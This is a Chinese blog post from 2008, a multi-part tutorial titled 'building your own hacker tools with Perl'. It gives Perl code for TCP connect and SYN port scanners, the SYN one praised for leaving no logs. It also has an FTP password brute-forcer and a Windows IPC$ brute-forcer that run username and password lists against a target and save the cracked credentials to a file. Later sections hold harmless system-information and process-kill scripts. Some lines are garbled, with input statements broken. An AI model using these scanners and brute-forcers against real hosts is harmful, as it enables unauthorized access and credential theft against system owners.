Chinaunix首页 | 论坛 | 博客
  • 博客访问: 113649
  • 博文数量: 29
  • 博客积分: 2615
  • 博客等级: 少校
  • 技术积分: 461
  • 用 户 组: 普通用户
  • 注册时间: 2006-04-28 16:01
文章分类

全部博文(29)

文章存档

2012年(1)

2011年(4)

2010年(4)

2009年(4)

2008年(16)

分类: LINUX

2008-07-01 11:18:31

perl打造自己的黑客工具

学计算机程序的朋友最大的愿望就是能编出一款功能强大的 程序,但实现起来却不容易,需要花很多时间来学习计算机语言,今天我就给大家介绍一个好用网络编程语言Practical Extraction and Report Language(perl),严格的说它只是个脚本语言,Perl象C一样强大,象awk、sed等脚本描述语言一样方便。
如果你用的是unix环境那你一定对perl很熟悉了,今天我要谈的是在windows下用perl来打造一个自己满意的程序,如果你学过c语言的话,那你上手一定很快,因为他很c语言很相似。
我们先来看一个简单的程序:
#usr/bin/perl
print "你好!请输入你的名字:";
 $name=;
chop( $name);
print " $name你好!欢迎你来到perl的世界。\n"

是不是感觉很简单,在也不要用english来对话了。perl为我们提供了很多功能,你只要对这些功能了解,就会很方便的写出让自己满意的程序。
我们先来看看它的网络编程,在perl里面提供了很多模块,我要做的就是调用这些模块来完成自己要做的。我们今天就来学习一个perl打造的Connect扫描器。

#!usr/bin/perl #perl程序开头标式
use IO::Socket; #载如IO::Socket包
print "请输入你要扫描的主机:";
 $ARGV[0]=; #从键盘上输入数据到 $ARGV[0]
chop($ARGV[0]); #把最后一个字符删除
 $host=$ARGV[0];
 $file="ports.txt";
open(FILE," $file")||die " $file端口文件是不是你搞丢了啊?自己重写一个吧\n"; #打开文件
while(@all=){ #循环读取文件中的端口
print"正在扫描 $host……\n";
foreach  $port (@all){
 $sock=IO::Socket::INET->new(PeerAddr=> $host,PeerPort=> $port,Timeout=>60); #新建IO::Socket::INET对象  $sock
if( $sock){ #判断端口是否打开
print(" $host主机-> $port端口打开着!\n"); $sock->close; #关闭SOCKET对象
}else{
print " $port关闭着!\n";
}
}print("\n");
}print("端口扫描结束,谢谢使用!");
exit 1;

看明白了吗?是不是很容易?这样我们就能对远程主机扫描了,这个connect连接的优点就是速度快,但被主机记录。这个程序只是个单线程的,速度不是很快。下面是demonalex的一个多线程的Connect扫描程序。

#!usr/bin/perl -w
#duo_xian_scan2.pl
use IO::Socket;
use Thread;
@port=(21,23,80);
 $ip= $ARGV[0];
foreach  $result (@port){
Thread->new(\&sock, $ip, $result);
Thread->self->join;
}
exit 1;

sub sock{
 $remote_ip=shift;
 $remote_port=shift;
 $sock=IO::Socket::INET->new(" $remote_ip: $remote_port");
if(defined  $sock){
print"***The  $remote_ip\'s  $remote_port is OPENED!***\n";
 $sock->close;
}else{
print"***The  $remote_ip\'s  $remote_port is CLOSED!***\n";
}
return;
}
这个程序把扫描的一块定义成一个子程序,然后调用多线程的模块,来调用子程序。调试不成功?呵呵,我也没成功,我把Thread->self->join;改成了Thread->join;就成功运行。
好了,今天这个connect扫描器就讲到这里了。

                                             perl打造自己的黑客工具(2)
上一次我们是讲的connect扫描,今天我们讲用perl实现syn扫描,也叫"半开放"扫描,也就是发送一个syn包来探测,由于只没和远程主机完成三次会话,所以一般不会在远程机器上留下记录。
好了,不多说了,看看代码吧。

#usr/bin/perl
use IO::Socket;
use Net::Ping; # 载入模块 print "请输入你要扫描的主机:";
 $host=;
chop( $host);
 $file="ports.txt";
open(FILE," $file")||die "找不到 $file端口文件\n" ; #打开文件
while(@all=){
print"正在扫描……\n";
foreach  $port(@all){ #循环读取端口
 $syn=Net::Ping->new("syn"); #发送syn包
 $syn->{ port_num }= $port; #发送到指定port
 $syn->ping( $host); #发送到指定host
if( $syn->ack){ #判断返回信息
print(" $host主机-> $port端口打开着!\n"); $syn->close;
} }
}print("\n");print("端口扫描结束,谢谢使用!");exit 1;

不要我说太多吧,和原来的程序差不多哦。如果嫌扫描程序不够快,那就把它换成个多线程的啊,呵呵。

                  
perl打造自己的黑客工具(3)
在第一节我就讲到perl提供了很多模块,我们只要会调用这些模块我们就可以写出自己的网络应用程序,今天我就来介绍一个perl写的ftp猜解器。原理很简单,利用perl的模块与远程主机建立连接,如果成功就显示破解成功,没成功则继续利用下一个用户和密码猜解。

#usr/bin/perl
use NET::FTP;
print "请输入你要猜解的主机:";
 $host=;
print "开始暴力破解……";
 $file1="FTPUSER";
 $file2="FTPPASS";
open(FILE," $file1")||die " $file1文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开用户名文件
while(@user=){
foreach  $user(@user){ #循环读取用户名
chop( $user);
open(FILE," $file2")||die " $file2文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开密码文件
while(@password=){
foreach  $password(@password){ #循环读取密码 chop( $password);
print "\n";
print "\n";
 $ftp=Net::FTP->new( $host) || die "连接不上远程计算机!\n" ; #与远程主机建立连接
print "正在破解 $user-> $password\n";
if( $ftp){
 $a= $ftp->login( $user, $password); #发送用户名和密码
 $ftp->quit; # 退出ftp会话
if ( $a==1)
{
print "恭喜你!发现弱口令! 用户名 $user 密码: $password\n";
open (H,">>ftpscan.txt")||die "打不开ftpscan.txt\n"; #打开文件将破解好的用户和密码放进去
print H "主机 $host用户名: $user 密码: $password \n";
close H;
}
}
}
}
}
}
print "结果已写入ftpscan.txt文件请查看\n";
又是一个简单的例子,你是不是觉得自己突然强大起来了?呵呵。

                                             perl打造自己的黑客工具(4)
前面几篇我们都是利用perl模块来实现任务的,今天我们就用perl调用系统命令来实现IPC $远程猜解,适合win2k以上的系统。代码也十分简单。

#usr/bin/perl
print "请输入要猜解的IP:";
 $host=;
chop( $host);
 $file1="NT_USER";
 $file2="NT_PASS";
open(FILE," $file1")||die " $file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=){
foreach  $name(@user){
open(FILE," $file2")||die " $file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=){
foreach  $password(@pass){
chop( $password);
print ("正在尝试 $name $password\n"); #从这里往上不要我解释了吧
 $check=system ("net use \\\\ $host\\ipc\ $  $password /user: $name"); #调用perl函数,执行系统命令
if(! $check) { #判断连接是否成功
system ("net use \\\\ $host\\ipc\ $ /del"); #成功连接后就删除连接,并打开文件写入
open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";
print H "主机 $host用户名: $name 密码: $password \n";
close H;
}
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";

好了,是不是很简单,发挥你的想象,自己也创造一个自己需要的工具。

                                             perl打造自己的黑客工具(5)
perl也提供了api函数调用,这样我们可以在为自己的软件添加一些功能了,我这里主要是介绍得到系统信息的。调用api函数还能实现很多功能,比如删除日志,终止进程,具体的参考perl的帮助吧。
现在我们来看看我是这样获得系统信息的。

#usr/bin/perl
use Win32API::Registry 0.21 qw( :ALL );
use Sys::Hostname;
 $host=hostname;
print "主机名: $host\n";
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0,KEY_READ,  $key )||die "失败",regLastError(),"\n";
RegQueryValueEx(  $key, "VendorIdentifier", [], [],  $data, [] );
printf "CPU信息: $data ";
RegQueryValueEx(  $key, "ProcessorNameString", [], [],  $data, [] );
printf " $data\n";
RegCloseKey(  $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0,KEY_READ,  $key )||die "失败",regLastError(),"\n";
RegQueryValueEx(  $key, "SystemBiosVersion", [], [],  $data, [] );
printf "BIOS信息: $data\n";
RegCloseKey(  $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", 0,KEY_READ,  $key )||die "失败",regLastError(),"\n";
RegQueryValueEx(  $key, "Identifier", [], [],  $data, [] );
printf "硬盘信息: $data\n";
RegCloseKey(  $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\Class\\{ 4D36E968-E325-11CE-BFC1-08002BE10318 }\\0000", 0,KEY_READ,  $key )||die "失败",regLastError(),"\n";
RegQueryValueEx(  $key, "DriverDesc", [], [],  $data, [] );
printf "显卡信息: $data ";
RegQueryValueEx(  $key, "DriverVersion", [], [],  $data, [] );
printf "版本: $data\n";
RegCloseKey(  $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0,KEY_READ,  $key )||die "失败",regLastError(),"\n";
RegQueryValueEx(  $key, "ProductName", [], [],  $data, [] );
printf "操作系统: $data ";
RegQueryValueEx(  $key, "CurrentVersion", [], [],  $data, [] );
printf " $data.";
RegQueryValueEx(  $key, "CurrentBuildNumber", [], [],  $data, [] );
printf " $data ";
RegQueryValueEx(  $key, "CSDVersion", [], [],  $data, [] );
printf " $data\n";
RegQueryValueEx(  $key, "RegisteredOwner", [], [],  $data, [] );
printf "注册到: $data ";
RegQueryValueEx(  $key, "RegisteredOrganization", [], [],  $data, [] );
printf "  $data ";
RegQueryValueEx(  $key, "ProductId", [], [],  $data, [] );
printf "  $data\n";
RegQueryValueEx(  $key, "SystemRoot", [], [],  $data, [] );
printf "系统根目录: $data\n";
RegCloseKey(  $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer", 0,KEY_READ,  $key )||die "失败",regLastError(),"\n";
RegQueryValueEx(  $key, "Version", [], [],  $data, [] );
printf "IE版本:IE  $data\n";
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 1\\Logical Unit Id 0", 0,KEY_READ,  $key )||die "失败",regLastError(),"\n";
RegQueryValueEx(  $key, "Identifier", [], [],  $data, [] );
printf "光驱信息: $data\n";
RegCloseKey(  $Key );
exit 1;

这个程序,是调用了注册表来得到信息,非常容易。

#!/usr/bin/perl
use Win32::kernel32;
use win32;
use win32::api;
use Win32API::File 0.08 qw( :ALL );
 $olOutLength= GetLogicalDriveStrings(4*26+1,  $osBuffer );
print "本机器上有:\n";
printf " $osBuffer\n";
print "请输入需要查看的分区(注意加'\\'!):";
 $disk=;
chop( $disk);
 $free = Win32::GetDiskFreeSpace(" $disk");
 $a= $free/1024;
printf "此分区有 $a KB空余\n";
 $type=Win32::GetDriveType( $disk);
if( $type==0){ printf "分区类型:UNKNOWN\n"; }
if( $type==1){ printf "分区类型:The root directory does not exist\n"; }
if( $type==2){ printf "分区类型:A floppy drive\n"; }
if( $type==3){ printf "分区类型:A fixed drive\n"; }
if( $type==4){ printf "分区类型:A remote (network) drive\n"; }
if( $type==5){ printf "分区类型:A CD-ROM drive\n"; }
if( $type==6){ printf "分区类型:A RAM disk\n"; }
if( $type<0){ printf "UNKNOWN\n"; }
if( $type>6){ printf "UNKNOWN\n"; }
GetVolumeInformation(  $disk,  $osVolName,  $lVolName,  $ouSerialNum,  $ouMaxNameLen,  $ouFsFlags,  $osFsType,  $lFsType );
printf "卷标名: $osVolName\n";
printf "序列号: $ouSerialNum\n";
printf "文件系统: $osFsType\n";

这个程序是获得系统的磁盘信息的,具体看perl的帮助。


#!/usr/bin/perl
print "输入要杀进程的PID:";
 $listid=;
chop( $listid);
 $a=kill(9, $listid);
if( $a){ print "关闭 $listid进程成功"; }
else{
print "关闭 $listid进程失败"; }exit;

这个小小的程序可以查杀一些普通的进程。
阅读(1139) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~